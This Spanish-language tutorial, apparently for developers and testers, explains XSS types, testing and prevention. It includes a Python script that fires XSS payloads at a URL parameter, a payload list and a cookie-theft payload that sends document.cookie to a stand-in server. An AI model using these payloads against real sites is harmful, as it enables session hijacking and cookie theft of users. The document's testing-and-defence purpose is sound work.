Según las estadísticas que he visto y mi experiencia, las vulnerabilidades XSS siguen siendo una amenaza frecuente para las aplicaciones web, planteando riesgos de robo de datos, secuestro de sesiones y problemas con el sitio web. Decidí que podía dedicar más tiempo a investigar este tipo de vulnerabilidad y compartir con ustedes al menos este conocimiento básico similar a una descripción general para que muchos expertos en desarrollo y control de calidad puedan tener en cuenta algunas formas de probar sus aplicaciones contra este problema. Este artículo explora diferentes tipos de XSS, metodologías de prueba y enfoques de automatización y proporciona algunos ejemplos y cargas útiles para pruebas de penetración efectivas.
Los scripts entre sitios (XSS) permiten a los atacantes inyectar scripts maliciosos en páginas web vistas por otros usuarios, explotando vulnerabilidades en la ejecución de código del lado del cliente. Comprender los diferentes tipos de vulnerabilidades XSS y utilizar estrategias de prueba adecuadas es crucial para crear aplicaciones web seguras y protegidas contra dichos ataques.
Los exploits XSS ocurren cuando la entrada de un usuario que no es de confianza no se desinfecta y ejecuta de manera inadecuada dentro de una aplicación web, lo que permite a los atacantes inyectar y ejecutar scripts maliciosos en el contexto de los navegadores de otros usuarios.
Ocurre cuando los datos proporcionados por el usuario se repiten en la respuesta sin la validación adecuada.
Ejemplo: <script>alert('XSS_DEMO')</script>
inyectado a través de un parámetro de URL.
Estos exploits ocurren cuando una aplicación web refleja entradas de usuario no validadas en el navegador del usuario sin una desinfección adecuada. En este ataque, el atacante crea una URL maliciosa que contiene un código de secuencia de comandos que, cuando la víctima hace clic en él, se ejecuta dentro del contexto de la página web vulnerable. El script malicioso no se almacena en el servidor, sino que se refleja directamente en la entrada del usuario. Las vulnerabilidades XSS reflejadas a menudo se aprovechan en ataques de phishing o para manipular la experiencia de navegación del usuario. El impacto puede ser grave, desde el robo de cookies hasta el secuestro de sesiones.
El script malicioso se almacena permanentemente en el servidor y se ejecuta cuando otros usuarios acceden a él.
Ejemplo: script malicioso almacenado en un comentario/publicación en una publicación de foro o en una página de perfil de red social.
También conocido como XSS persistente, surge cuando un atacante inyecta un código de script malicioso en una aplicación web, que luego se almacena en el lado del servidor. Este script inyectado se recupera y ejecuta posteriormente cada vez que otros usuarios acceden a la página vulnerable. Los ataques XSS almacenados son particularmente peligrosos ya que el script inyectado persiste en el tiempo, lo que puede afectar a varios usuarios y provocar una explotación generalizada. Los atacantes suelen atacar contenido generado por el usuario, como comentarios, publicaciones en foros, nombres de entidades que se muestran en páginas web o campos de perfil, para ejecutar sus cargas maliciosas. Las consecuencias del XSS almacenado pueden incluir robo de datos, apropiación de cuentas y destrucción de sitios web, lo que plantea riesgos importantes tanto para los usuarios como para la organización afectada.
La ejecución del script se basa en la manipulación del DOM en el lado del cliente.
Ejemplo: el código JS recupera y ejecuta datos controlados por el usuario desde el hash de URL.
Ocurre cuando una aplicación web manipula dinámicamente el DOM basándose en entradas de usuarios que no son de confianza de una manera insegura. A diferencia de los ataques XSS tradicionales, que implican procesamiento del lado del servidor, el XSS basado en DOM se manifiesta completamente en el lado del cliente. Los atacantes explotan XSS basado en DOM manipulando scripts del lado del cliente para ejecutar código arbitrario dentro del navegador de la víctima. Este tipo de XSS suele ser más difícil de detectar y mitigar, ya que la vulnerabilidad reside en el código del lado del cliente y puede no ser evidente durante las pruebas del lado del servidor. Los ataques XSS basados en DOM pueden tener diversas consecuencias, incluido el secuestro de sesión, la filtración de datos y acciones no autorizadas en nombre del usuario, lo que destaca la importancia de las medidas de seguridad del lado del cliente y las prácticas vigilantes de desarrollo de aplicaciones web.
Es un ataque de ingeniería social en el que un atacante engaña a un usuario para que ejecute código malicioso dentro de su navegador. A diferencia de los ataques XSS tradicionales que se dirigen a varios usuarios, Self-XSS explota la confianza del usuario para ejecutar código dentro de su sesión. Por lo general, los atacantes engañan a las víctimas para que peguen código JS aparentemente inocente en la consola de desarrollador de su navegador o en algunos campos de un sitio web con el pretexto de una acción inofensiva, como desbloquear una función u obtener recompensas. Una vez ejecutado, el código inyectado puede potencialmente comprometer la cuenta de la víctima, robar información confidencial o realizar acciones no autorizadas en su nombre. A pesar de estar limitado a la sesión de la víctima, Self-XSS sigue siendo una amenaza, lo que enfatiza la importancia de la educación y concientización del usuario para reconocer y evitar tales tácticas engañosas.
Puedes escribir algunos guiones; Prefiero Python, por ejemplo:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
Analice las respuestas para determinar si las cargas útiles se reflejan o ejecutan. Cree PoC, comprenda el impacto potencial y priorice la solución de problemas.
Pasos:
Ingrese una etiqueta de secuencia de comandos, seguida de un código JS, en los campos de entrada de su aplicación.
Por ejemplo, cargas útiles XSS básicas:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
Envíe la entrada y vea si el script se ejecuta.
Si es así, entonces la aplicación es vulnerable a ataques XSS.
Si el script no se ejecuta, intente modificar la entrada agregando otras etiquetas HTML, como <img>
o <iframe>
, y vea si se reflejan en la página, por ejemplo (esta casi siempre funciona para mí):
<b>t</b>#`"/*—est
Puede agregar una secuencia de comandos para consultar los parámetros de la URL de su aplicación web o un nombre de usuario, nombres de archivos cargados o cualquier texto que se mostrará en la página de la aplicación y que pueda cambiar.
Tenga en cuenta las validaciones frontales de las entradas. Intente siempre enviar el valor mediante una solicitud directa (usando Postman, Burp o cualquier herramienta similar).
Verifique la consola del navegador en las herramientas de desarrollo porque a veces es posible que no vea ningún cambio visible en la página, pero algunos símbolos, por ejemplo `"/*—
pueden alterar el JS/HTML de la página y verá una advertencia en la consola que podría Ser una pista para usted sobre cómo modificar su carga útil para obtener una PoC XSS.
Utilice fuzzing y una lista de cargas útiles: automatice este enfoque cuando sea posible o utilice herramientas especiales para ello.
Personalmente, me gusta usar cargas útiles e información de aquí ; en mi opinión, es un recurso muy útil.
Prueba de concepto XSS
print()
para los navegadores Chrome posteriores a la versión 92.Explotación XSS avanzada
Omitir filtros XSS
Codifique datos según el contexto en el que se representan los datos de salida. Aplique diferentes métodos de codificación para HTML, JS, CSS y otros contextos para garantizar una protección integral contra XSS.
Por ejemplo , utilice codificación de entidad HTML para contenido HTML, escape JavaScript para contextos de secuencias de comandos en línea y escape CSS para atributos de estilo para evitar la inyección de secuencias de comandos y mantener la integridad de los datos en varios contextos de salida.
Implemente listas blancas y negras de entradas para filtrar y validar las entradas de los usuarios en función de listas permitidas y denegadas predefinidas de caracteres, patrones o tipos de contenido permitidos y prohibidos.
XSS plantea amenazas persistentes a las aplicaciones web, poniendo en riesgo la filtración de datos y la confianza de los usuarios. Comprender los tipos de XSS y los métodos de prueba es fundamental para una mitigación eficaz. Las técnicas de prevención, como la validación de entradas, la codificación de salidas y la implementación de CSP, mejoran la seguridad de las aplicaciones. Al priorizar las prácticas de seguridad y la colaboración, los equipos pueden proteger sus aplicaciones contra XSS y garantizar una seguridad adecuada de las aplicaciones web.
Si eres principiante y estás interesado en la ciberseguridad y las pruebas de penetración o simplemente quieres mejorar tu aplicación para hacerla más segura, puedes leer mis artículos sobre estos temas:
Para obtener más detalles sobre XSS y cargas útiles, puede encontrar los siguientes recursos:
Realice siempre pruebas de penetración con permiso explícito y dentro de un entorno controlado. Este enfoque ético garantiza que las evaluaciones de seguridad se alineen con protocolos de prueba responsables, evitando compromisos involuntarios de los sistemas y manteniendo la integridad tanto del proceso de prueba como de la estrategia general de ciberseguridad.